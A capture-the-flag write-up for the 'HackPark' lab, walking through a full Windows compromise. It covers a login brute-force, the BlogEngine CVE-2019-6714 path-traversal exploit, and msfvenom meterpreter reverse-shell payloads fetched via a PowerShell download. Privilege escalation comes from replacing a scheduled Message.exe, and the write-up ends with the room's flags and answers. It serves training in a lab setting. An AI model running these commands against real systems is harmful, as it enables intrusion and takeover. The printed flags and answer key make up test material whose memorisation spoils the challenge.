HackPark

Click here if you’re interested in the room!

This guide is meant to be used as a supplement for learning, please tackle this on your own before reading this!

1. What’s the name of the clown displayed on the homepage?
2. What request type is the Windows website login form using?
3. Guess a username, choose a password wordlist and gain credentials to a user account!
4. Now you have logged into the website, are you able to identify the version of the BlogEngine?
5. What is the CVE?
6. Using the public exploit, gain initial access to the server. Who is the webserver running as?
7. Generating a reverse-shell payload using msfvenom (naming mine hello.exe)
8. What is the OS version of this windows machine?
9. What is the name of the abnormal service running?
10. What is the name of the binary you’re supposed to exploit?
11. What was the Original Install time? (This is date and time)

1) What’s the name of the clown displayed on the homepage?

1

pennywise

2) What request type is the Windows website login form using?

1

POST

3) Guess a username, choose a passwordlist and gain credentials to a user account!

From the hints we can see that username is admin, and we will be using the infamous rockyou.txt as the password list.

Using BurpSuite to intercept we can see the post form and the body of the post form.

1
2

login: admin
password: 1qaz2wsx

4) Now you have logged into the website, are you able to identify the version of the BlogEngine?

Scrolling down to the About tab on the left we can identify the version.

1

3.3.6.0

5) What is the CVE?

Now we have to gain access to the machine using a reverse shell, but we can look for a vulnerability on www.exploit-db.com and searching “BlogEngine”

We found what we’re looking for.

1

CVE-2019-6714

6) Using the public exploit, gain initial access to the server. Who is the webserver running as?

Go to Content -> Posts -> Welcome to HackPark

Upload PostView.ascx

Setup a nc listener on your chosen port.

1

nc -lvnp 4444

After, go to

1

http://{target_ip}/?theme=../../App_Data/files

1

iis apppool\blog

Time to pivot from netcat to meterpreter for a more full-fleshed shell.

7) Generating a reverse-shell payload using msfvenom (naming mine hello.exe)

1

msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST={your_ip} LPORT={your port} -f exe -o hello.exe

Setup a http server and download the payload.

1

python3 -m http.server

First, navigate to C:\Windows\Temp

Download the payload.

1

powershell "(New-Object System.Net.WebClient).Downloadfile('http://<ip>:8000/hello.exe','hello.exe')"

Setup metasploit

1
2
3
4
5

use multi/handler
set payload windows/meterpreter/reverse_tcp
set LPORT {your port}
set LHOST {your ip}
run

Start Process

1

powershell "Start-Process 'hello.exe'"

We now have a meterpreter session!

8) What is the OS version of this windows machine?

1

Windows 2012 R2 (6.3 Build 9600)

I’m going to be further enumerating the machine using winPEAS.

upload winPEAS.bat
shell
winPEAS.bat

9) What is the name of the abnormal service running?

I see something interesting

1

WindowsScheduler

10) What is the name of the binary you’re supposed to exploit?

Navigating to “C:\Program Files (x86)\SystemScheduler\events

Taking a look glance at all the .txt files I see something that sticks out:

Message.exe seems to be running approximately every 30 seconds as admin.

1

Message.exe

Let’s run our own payload abusing this fact.

Spawn a msfvenom payload called Message.exe

1

msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST={your_ip} LPORT={your_port} -f exe -o Message.exe

Setup another meterpreter session or a nc session.

Go to “C:\Program Files (x86)\SystemScheduler” and overwrite Message.exe

After a few seconds we should be connected:

I’m in metasploit so to search for text files

1

search -f *.txt

1
2

cat "c:\Users\jeff\Desktop\user.txt"
cat "c:\Users\Administrator\Desktop\root.txt"

FLAG for Jeff 759bd8af507517bcfaede78a21a73e39

FLAG for Root 7e13d97f05f7ceb9881a3eb3d78d3e72

11) What was the Original Install Time?

Spawn a regular shell from meterpreter session then use the command systeminfo to find the time.

1
2

shell
systeminfo

1

8/3/2019 10:43:23